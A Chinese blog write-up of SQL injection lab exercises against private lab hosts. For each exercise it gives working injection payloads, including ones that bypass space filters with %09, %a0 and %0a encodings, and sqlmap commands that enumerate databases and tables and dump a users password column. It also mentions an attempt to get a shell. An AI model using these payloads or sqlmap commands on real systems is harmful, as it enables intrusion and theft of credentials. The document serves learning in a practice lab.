2018-05-14-sql注入

作者: 最初的美好_kai | 来源:发表于2018-05-22 13:25 被阅读10次

    sql injection 1:

    图一

    这道题木一看就知道是未对root输入进行净化或者过滤,因此直接需要闭合标签再注释就好了,如下

    name=root' or 1=1 -- -,其中-- -是mysql的注释符号。如图:

    图二

    还有一点注意的地方在于我们写符号注意不能开中文输入法....

    sqlmap实例如下:

    sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dbs --banner

    --dbs是列举数据库, --banner是直接获取数据库banner信息。如下图:

    图三

    这里可以继续深入进去,学一下sqlmap用法,例如:

    sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --current-user获取当前用户名,--current-db是获取当前数据库。

    图四

    sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"  --table  -D exercises获取数据库表名。

    图五

    sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"  --column   -T  users获取列名

    图六

    然后就是脱裤了,直接上 sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dump -C passwd -T users -D exercises 效果如下:

    图七

    然后发现原来sqlmap也能getshell,具体命令如下:

    图七 图八

    当然最后没成功,因为路径不对,他的路径不是默认路径,需要用字典先去暴。。。

    sql injection 2:

    这道题目代码如下:

    图九

    本题目主要是针对url中出现的空格做正则表达式匹配,我们主要是要绕过这个限制,可以通过url编码tab键来进行绕过,tab的URL编码是%09,因此可以构造payload如下:

    http://172.18.139.118/sqli/example2.php?name=root'%09or%091=1%09--%09-,效果如下:

    图十

    此外,对这种情况可以直接由sqlmap解决:

    sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --tamper=space2comment

    图十一

    sql injection3:

    这道题目主要是对所有空格以及和空格相关的符号都去掉,例如tab键等等,源代码如下所示:

    图十二

    遇到这种情况可以采用所谓的url编码解决,我用%a0来代替空格,构造的payload如下所示:

    http://172.18.238.200/sqli/example3.php?name=root%27%a0or%a01=1%a0--%a0-,结果如下所示:

    图十三

    sql injection4:

    这道题目主要对特殊字符进行转义,包括\x00, \, \n, \r, ' ,"等

    图十四

    但是这道题目我觉得出的不好地方在于。。。注入点是数字型参数,不需要用到这些字符。。,直接构造payload:http://172.18.238.200/sqli/example4.php?id=2%20or%201=1就ok了,如图

    图十五

    sql injection5:

    第五题做法同第四,没啥区别。。。。

    sql injection6:

    同第五.....

    sql injection7:

    这道题目看了源码就是知道过滤了空格相关的字符以及对数字进行正则表达式匹配,上图:

    图十六

    因此我们根据前面的方法构造payload=http://172.18.238.200/sqli/example7.php?id=2%0aor%0a1=1

    即是所有空格都用%0a来代替,直接就绕过了。

    图十七

    这道题木在sqlmap上遇到点问题,我使用sqlmap -u "http://172.18.238.200/sqli/example7.php?id=2" --dbs 的时候发现显示其为静态参数,如下:

    图十八

    但是我在id=2后面加上%0a再跑sqlmap就可以了,后来查到这个叫做sql换行污染,通过用换行%0a代替空格,再加上其他字符什么的(也可以不要)直接就行了。

    图十九

    sql injection8:

    这道题目再待参考。。。

    sql injection9:

    这道题目是基于布尔值的盲注,直接用if语句,如下:

    图二十一

    sqlmap直接跑就行:

    图二十二 图二十三

    拖了个库。。。

    相关文章

      网友评论

        本文标题:2018-05-14-sql注入

        本文链接:https://www.haomeiwen.com/subject/uorddftx.html